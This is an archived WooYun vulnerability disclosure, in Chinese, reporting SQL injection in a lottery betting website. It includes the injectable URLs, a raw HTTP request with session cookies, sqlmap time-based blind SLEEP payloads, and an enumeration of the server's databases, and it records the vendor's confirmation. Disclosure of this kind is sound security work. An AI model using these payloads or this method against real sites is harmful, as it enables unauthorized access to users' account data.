当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0142841

漏洞标题:投注官网多处SQL注入(数万彩民账号信息)

相关厂商:投注网

漏洞作者: xunnun

提交时间:2015-09-23 11:56

修复时间:2015-11-07 12:08

公开时间:2015-11-07 12:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-23: 细节已通知厂商并且等待厂商处理中
2015-09-23: 厂商已经确认,细节仅向厂商公开
2015-10-03: 细节向核心白帽子及相关领域专家公开
2015-10-13: 细节向普通白帽子公开
2015-10-23: 细节向实习白帽子公开
2015-11-07: 细节向公众公开

简要描述:

RT

详细说明:

1. www.touzhu.cn/news/newslist/*/_1.html 伪静态一处
2. www.touzhu.cn/customer/ajax_findpass.php/actionc=checknickname&nickname=*&suijishu=0.10779594886116683&username=e 伪静态二处

GET /webllpay/return.php?a=hqp2008&c=500.00&key=rtiz65&m=*&user_id=hqp2008&valid_order=100&version=1.0 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://www.touzhu.cn:80/
Cookie: PHPSESSID=69cbkfr3nooccakbg7763o4ct0; helpskaiguan=CaiSo; Hm_lvt_099264dbbc75fb6766d7d0a7155abbcc=1442884338,1442884446,1442884717,1442898093; Hm_lpvt_099264dbbc75fb6766d7d0a7155abbcc=1442898093; HMACCOUNT=457185A9BB06EA8F; box_wxts=on; bdshare_firstime=1442881660036; BAIDUID=DC1506772BE8531E2289EA15456B3920:FG=1
Host: www.touzhu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


m处存在注入
现在用sqlmap跑一下

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: actionc=checknickname&nickname=' AND (SELECT * FROM (SELECT(SLEEP(5)))yaYG) AND 'sgEm'='sgEm&suijishu=0.10779594886116683&username=e
---
web application technology: PHP 5.4.41
back-end DBMS: MySQL 5.0.12
No tables found
sqlmap identified the following injection point(s) with a total of 142 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.touzhu.cn:80/webllpay/return.php?a=hqp2008&c=500.00&key=rtiz65&m=' AND (SELECT * FROM (SELECT(SLEEP(5)))pZkW) AND 'SfwF'='SfwF&user_id=hqp2008&valid_order=100&version=1.0
---
web application technology: PHP 5.4.41
back-end DBMS: MySQL 5.0.12
sqlmap resumed the following injection point(s) from stored session:
---


漏洞证明:

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.touzhu.cn:80/webllpay/return.php?a=hqp2008&c=500.00&key=rtiz65&m=' AND (SELECT * FROM (SELECT(SLEEP(5)))pZkW) AND 'SfwF'='SfwF&user_id=hqp2008&valid_order=100&version=1.0
---
web application technology: PHP 5.4.41
back-end DBMS: MySQL 5.0.12
available databases [12]:
[*] asiancup2015
[*] caiso
[*] caiso_test
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpstudy
[*] starapp
[*] starapp_test
[*] test
[*] whchem_com
[*] yqjc

修复方案:

版权声明:转载请注明来源 xunnun@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-09-23 12:06

厂商回复:

谢谢路大关注.已经转给程序.

最新状态:

暂无


漏洞评价:

评论